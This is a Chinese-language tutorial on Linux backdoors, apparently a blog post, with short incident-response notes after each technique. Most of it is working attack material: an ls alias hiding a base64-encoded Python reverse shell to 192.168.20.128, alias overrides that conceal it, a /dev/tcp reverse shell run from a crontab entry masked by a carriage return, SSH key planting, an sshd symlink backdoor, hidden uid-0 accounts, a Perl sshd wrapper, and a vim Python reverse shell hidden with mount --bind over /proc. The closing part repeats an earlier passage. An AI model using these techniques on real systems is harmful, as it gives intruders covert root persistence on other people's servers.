linux后门教程
alias
用法
系统默认别名:alias
设置别名:alias ls='ls -laih'
删除别名:unalias ls
**加参数:**alias ls=‘ls -laih;pwd’
注意
系统启动默认加载的配置文件
/etc/profile
切换用户就会执行/etc/profile
/etc/bashrc
bash shell
~/.bashrc
每次打开新的shell时该文件都将被读取
~/.bash_logout
每次退出系统(退出bash shell)时执行该文件
后门
- 命令
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yMC4xMjgiLCA2NjY2KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
base64解码内容
执行ls,反弹shell到kali监听的6666端口
目标机器可以看到连接的信息,需要关闭攻击机的ssh,目标机器才会执行在攻击机上的命令
劫持了命令alias,查看显示ls='ls --color=auto'
- 后门隐藏
找一个有迷惑性的目录,修改成类似文件名
插入到自启程序中~/.bashrc
#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f .pki/nss ]; then
. .pki/nss
fi
stat
直接能看出来,修改后门文件,与同目录文件时间相同
touch -acmr nssdb nss
kali用ssh连接执行ls,
反弹shell的监听反应
应急响应
异常连接:netstat -anltp
查看异常pid:ps aux | grep 2019
ppid为1:cat /proc/2019/status
PPID是进程父进程的PID,通常是主要进程
unalias删除后,每次登录都会触发
stat检查时间修改,查找主要进程
找到最近时间修改/etc/profile
、/etc/bashrc
、~/.bashrc
、~/.bash_logout
alias 后门文件删掉即可
crontab
shell文件准备
1.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.20.128/5555 0>&1
#反弹shell到IP地址:192.168.20.128
2.sh
(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门
可执行chmod +x
执行恶意文件2.sh
kali监听
应急响应
netstat -anlpt
查看异常连接PID,bash进程
看bash的父进程,父进程是1151
ps aux | grep 1151
cat /proc/1151/status
ps aux | grep 1149
/usr/sbin/CROND -n
跟网站定时任务有关
定时任务文件位置:/var/spool/cron
cat
与crontab -l
没看到
使用cat -A 可以显示或vim
- -A:表示显示所有非打印字符
删掉1.sh即可
ssh公钥免密
CRT生成公钥与私钥
RSA,连接服务器需要设置密码
密钥长度1024
公钥写入
传输到web站点通过wget下载
无
authorized_keys
时通过ssh-keygen -t rsa
生成密钥,开启免密登录创建文件
touch /root/.ssh/authorized_keys
将公钥追加到
authorized_keys
里
cat Identity.pub >> /root/.ssh/authorized_keys
赋予执行权限
chmod 600 /root/.ssh/authorized_keys
登录
新建连接,选择Properties,选择公钥文件,连接
应急响应
netstat -anlpt
与负责人沟通确定该IP
正常情况不能登录服务器
无异常,正常ssh登录,看authorized_keys是否被覆盖
未知用户公钥
看篡改时间,确定是最近篡改的
删除公钥
kill -9 进程
ssh软链接
创建
root用户
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上
此处密码随意
普通用户
echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/wxgln -sf /usr/sbin/sshd /tmp/普通用户;/tmp/普通用户 -oPort=14725
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上
应急响应
查找su文件,找具体软链接后门
删文件杀进程
增加超级用户账号
第一种情况:可以交互且允许uid=0的用户远程登录
echo "xiao:X:0:0::/:/bin/sh" >> /etc/passwd
xiao
是用户名。x
表示密码信息存储在/etc/shadow
中。0
是用户 ID,表示该用户是系统中的超级用户或root
用户。0
是组 ID,表示该用户属于root
组。::
表示没有额外的用户 ID 信息。/
是主目录,表示用户登录后默认工作目录为根目录。/bin/sh
是登录 shell,表示用户登录后默认使用 Bourne shell。
第二种情况:可以交互且不允许uid=0的用户远程登录
只能由普通用户权限
echo "ming:x:1000:1000::/:/bin/sh" >> /etc/passwd
第三种情况:不交互无回显添加Linux密码
useradd hhhh -u 0 -o -g root|| echo "123456" | passwd --stdin hhhh
执行两次
useradd
是一个用于创建新用户的命令。hhhh
是要创建的用户名。-u 0
指定用户的 UID 为0
,即root
用户的 UID。-o
允许分配非唯一 UID。-g root
将用户添加到root
用户组。passwd --stdin wxg
是用来为用户wxg
设置密码的命令,其中--stdin
选项表示从标准输入中读取密码。
应急响应
可以查看远程登录者信息
awk '/\$1|\$6/{print $1}' /etc/shadow
查看特权用户
awk -F: '$3==0 {print$1}' /etc/passwd
-
'$3==0'
是 awk 的模式部分,表示匹配第三个字段等于0
的行。 -
$3
表示第三个字段==0
表示等于零
杀掉练级进程pid,删除非法用户 userdel -rf 强制删除
perl脚本SSH后门
SSH后门源码
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
让靶机从搭建的web
服务去下载
将原来的sshd
移动到/usr/bin
下载的ssh移动到/usr/sbin
,并赋权
重启ssh服务:systemctl restart sshd.service
检测靶机开放端口
控制机:socat STDIO TCP4:192.168.20.137:22,sourceport=31334
应急响应
与管理员确认异常IP连接
正常sshd
文件是ELF格式,后门文件是纯文本脚本,file就可以发现
vim+python文件后门-教程
ubuntu20.04的vim支持python3
反弹shell脚本
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.20.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);
让靶机从搭建的web
服务去下载
kali开启监听
靶机:vim -E -c "py3file shell.py"
空白说明反弹shell成功
kali
隐藏后门
netstat -anplt直接查到了,还会留空白窗口
命令启动时不显示该窗口
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
隐藏可疑连接
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py
隐藏命令:
mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
应急响应
看到有不正常连接,猜测被挂载了
cat /proc/$$/mountinfo
umount /proc/3132
取消挂载
kill -9 pid
杀掉进程
SSH Wrapper后门
&) && sleep 2 && rm -f shell.py
**隐藏命令:**
mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
[外链图片转存中...(img-M3MftaKZ-1721128228618)]
### 应急响应
看到有不正常连接,猜测被挂载了
`cat /proc/$$/mountinfo`
[外链图片转存中...(img-KzeHBYVX-1721128228618)]
`umount /proc/3132`取消挂载
[外链图片转存中...(img-pNA2fGtG-1721128228618)]
kill -9 pid
杀掉进程